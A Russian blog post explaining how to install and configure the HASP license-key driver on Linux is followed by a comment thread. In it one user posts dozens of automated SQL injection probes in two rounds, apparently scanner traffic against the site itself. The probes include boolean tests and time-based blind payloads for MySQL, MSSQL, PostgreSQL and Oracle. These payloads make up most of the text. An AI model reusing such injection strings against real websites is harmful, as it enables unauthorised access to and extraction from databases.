Исходя из информации:
Драйвер ключей защиты HASP для GNU/Linux состоит из нескольких взаимодействующих компонент: aksparlnx (версия 1.6) — модуль ядра, обеспечивающий низкоуровневый доступ к LPT-ключу; askusbd (версия 1.8.1) — универсальный драйвер для USB- и LPT-ключей (системная служба); winehasp (версия 1.00) — часть драйвера, предоставляющая доступ к ключу HASP win-приложениям, исполняющимся в среде WINE (системная служба); hasplm (версия 8.30) — сетевой менеджер лицензий (системная служба).
Качаем архив: ftp://ftp.aladdin.com/pub/hasp/srm/Linux/HASP_SRM_LINUX_3.50_Run-time_Installer_script.tar.gz Потом:
  1. mkdir /usr/share/hasp
  2. mv HASP_SRM_LINUX_3.50_Run-time_Installer_script.tar.gz /usr/share/hasp
  3. cd /usr/share/hasp
  4. tar xvpf HASP_SRM_LINUX_3.50_Run-time_Installer_script.tar.gz
  5. cd HASP_SRM_LINUX_3.50_Run-time_Installer_script
  6. ./dinst `pwd`
После этого нужно добавить в /etc/fstab строчку:
none /proc/bus/usb usbfs defaults 0 0
Не забываем сделать mount -a, чтобы всё подхватилось. Чтобы проверить готовность демона, можно зайти через браузер links на порт 1947:
links http://localhost:1947
Если нужно управлять демоном удалённо, с другой машины - в каталоге /etc/hasplm создайте файл hasplm.ini и в нём напишите:
  1. [SERVER]
  2. ACCremote = 1
Ну и потом: /etc/init.d/aksusbd restart


nEcdyGgx

nEcdyGgx 13 Augustа в 18:26 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 2+40-40-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 3+40-40-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 3*2>(0+5+40-40) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 2+796-796-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 3+796-796-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1 OR 3*2>(0+5+796-796)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 2+255-255-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 3+255-255-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 3*2>(0+5+255-255) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 2+714-714-1=0+0+0+1 or 'lXkfqAMu'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 3+714-714-1=0+0+0+1 or 'lXkfqAMu'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1' OR 3*2>(0+5+714-714) or 'lXkfqAMu'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1" OR 2+621-621-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1" OR 3+621-621-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1" OR 3*2>(0+5+621-621) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

H2PZqfmz'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-5 OR 68=(SELECT 68 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-5) OR 719=(SELECT 719 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

-1)) OR 913=(SELECT 913 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

vpMgkllE' OR 997=(SELECT 997 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

G5KlPK1i') OR 760=(SELECT 760 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

f4yaIXhi')) OR 462=(SELECT 462 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:31 #

@@VV5Y0

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 2+692-692-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 3+692-692-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 3*2>(0+5+692-692) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 2+744-744-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 3+744-744-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1 OR 3*2>(0+5+744-744)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 2+136-136-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 3+136-136-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 3*2>(0+5+136-136) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 2+708-708-1=0+0+0+1 or 'PVvftOik'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 3+708-708-1=0+0+0+1 or 'PVvftOik'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

-1' OR 3*2>(0+5+708-708) or 'PVvftOik'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 2+817-817-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 3+817-817-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1" OR 3*2>(0+5+817-817) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

en4huh9O'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-5 OR 681=(SELECT 681 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-5) OR 314=(SELECT 314 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

-1)) OR 570=(SELECT 570 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

F57MF4J6' OR 904=(SELECT 904 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

wAbl0zbL') OR 914=(SELECT 914 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

S9d9HoUQ')) OR 510=(SELECT 510 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:52 #

@@ods9C


Войдите или зарегистрируйтесь, чтобы написать комментарий.